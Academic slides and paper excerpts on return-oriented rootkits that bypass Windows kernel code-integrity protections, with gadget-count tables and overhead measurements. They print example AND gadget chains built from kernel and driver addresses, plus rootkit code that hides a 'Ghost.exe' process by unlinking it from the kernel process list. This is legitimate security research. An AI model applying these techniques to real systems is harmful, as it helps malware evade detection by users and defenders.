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• What if an attacker reuses existing kernel 
code of her choice?



Return-Oriented 
Programming

• Generalization of return-to-libc

• Introduced by Shacham (CCS’07), 
extended by Buchanan et al. (CCS’08)

• Misuse the system stack to “re-use” 
existing code fragements (gadgets)

• Chain short useful instruction sequences 
that then return (opcodes 0xC3/0xC2)
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Automating RO-
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Results

Machine configuration # ret inst. # trie leaves # ret inst. (res) # trie leaves (res)
Native / XP SP2 118,154 148,916 22,398 25,968
Native / XP SP3 95,809 119,533 22,076 25,768
VMware / XP SP3 58,933 67,837 22,076 25,768
VMware / 2003 Server SP2 61,080 70,957 23,181 26,399
Native / Vista SP1 181,138 234,685 30,922 36,308
Bootcamp / Vista SP1 177,778 225,551 30,922 36,308

Table 1: Overview of return instructions found and generated trie leaves on different machines

pop ecx | R: ntkrnlpa.exe:0006373C
| L: <RightSourceAddress>+4

mov edx, [ecx-0x4] | R: vmx_fb.dll:00017CBD
pop eax | R: ntkrnlpa.exe:000436AE

| L: <LeftSourceAddress>
mov eax, [eax] | R: win32k.sys:000065D1
and eax, edx | R: win32k.sys:000ADAE6
pop ecx | R: ntkrnlpa.exe:0006373C

| L: <DestinationAddress>
mov [ecx], eax | R: win32k.sys:0000F0AC

pop ecx | R: nv4_mini.sys:00005A15
| L: <RightSourceAddress>-4

pop eax | R: nv4_mini.sys:00074EF2
| L: <LeftSourceAddress>

mov eax, [eax] | R: nv4_disp.dll:00125F30
and eax, [ecx+0x4] | R: sthda.sys:000024ED
pop ecx | R: nv4_mini.sys:00005A15

| L: <DestinationAddress>
mov [ecx], eax | R: nv4_disp.dll:000DE9DA

Figure 5: Example of two AND gadgets constructed on different machines running Windows XP SP2. The implicit
ret instruction after each instruction is omitted for the sake of brevity.

chine running Windows 2003 Server. Again, the mem-
ory locations of the gadget instructions are completely
different since the Constructor found different useful in-
struction sequences that are then used to build the gadget.

4.2 Runtime Overhead

The average runtime of the Constructor for the restricted
set of drivers that should be analyzed is 2,009 ms, thus
the time for finding and constructing the final gadgets is
rather small.

To assess the overhead of return-oriented program-
ming in real-world settings, we also measured the over-
head of an example program written within our frame-
work compared to a “native” implementation in C.
Therefore, we implemented two identical versions of
QuickSort, one in C and one in our dedicated return-
oriented language. The source code of the latter can be
seen in Appendix B.

Both algorithms sort an integer array of 500,000 ran-
domly selected elements and the evaluations were carried
out on an Intel Core 2 Duo T7500 based notebook run-
ning Windows XP SP3. The C code was compiled with
Microsoft Visual Studio 2008; in order to improve the
fundamental expressiveness of the comparison, all com-
piler optimizations were disabled. Each algorithm was
executed three times and we calculated the average of
the runtimes.

The return-oriented QuickSort took 21,752 ms on av-
erage compared to 161 ms for C QuickSort. The re-
sults clearly show that the overhead imposed by return-

oriented programs is significant; on average, they were
135 times slower than their C counterparts. We would
like to stress that we did not build our system with
speed optimizations in mind. Additionally, in our do-
main, return-oriented rootkits usually do not involve
time-intensive computations, thus the slowness might not
be a problem in practice. On the other hand, the overhead
might well be exploited by detection mechanisms that try
to find return-oriented programs.

5 Return-Oriented Rootkit

In order to evaluate our system in the presence of a kernel
vulnerability, we have implemented a dedicated driver
containing insecure code. Remember that our attack
model includes this situation. By this example, we show
that our systems allows us to implement a return-oriented
rootkit in an efficient and portable manner. This rootkits
bypasses kernel code integrity mechanisms like NICKLE
and SecVisor since we do not inject new code into the
kernel, but only execute code that is already available.
While the authors of NICKLE and SecVisor acknowl-
edge that such a vulnerability could exist [19, 22], we
are the first to actually show an implementation of an at-
tack against these systems. In the following, we first in-
troduce the different stages of the infection process and
afterwards describe the internals of our rootkit example.
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RO Rootkit
int ListStartOffset =  &CurrentProcess−>process_list . Flink − CurrentProcess ; 
int ListStart = &CurrentProcess−>process_list . Flink ; 
int ListCurrent = ∗ListStart ; 
while ( ListCurrent ! = ListStart )  {
   struct EPROCESS ∗NextProcess = ListCurrent − ListStartOffset ; 
   if ( RtlCompareMemory ( NextProcess−>ImageName , ” Ghost . exe ” , 9 ) == 9 ) { 
      break ; 
   } 
   ListCurrent = ∗ListCurrent ; 
} 

if ( ListCurrent ! = ListStart ) { 
   // process found, do some pointer magic 
   struct EPROCESS ∗GhostProcess = ListCurrent − ListStartOffset ; 
   // Current->Blink->Flink = Current->Flink 
   GhostProcess−>process_list . Blink−>Flink = GhostProcess−>process_list . Flink ; 
   // Current->Flink->Blink = Current->Blink 
   GhostProcess−>process_list . Flink−>Blink = GhostProcess−>process_list . Blink ; 
   // Current->Flink = Current->Blink = Current 
   GhostProcess−>process_list . Flink = ListCurrent ; 
   GhostProcess−>process_list . Blink = ListCurrent ; 
} 
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More details: “Return-Oriented Rootkits: Bypassing 
Kernel Code Integrity Protection Mechanisms”, 

USENIX Security’09


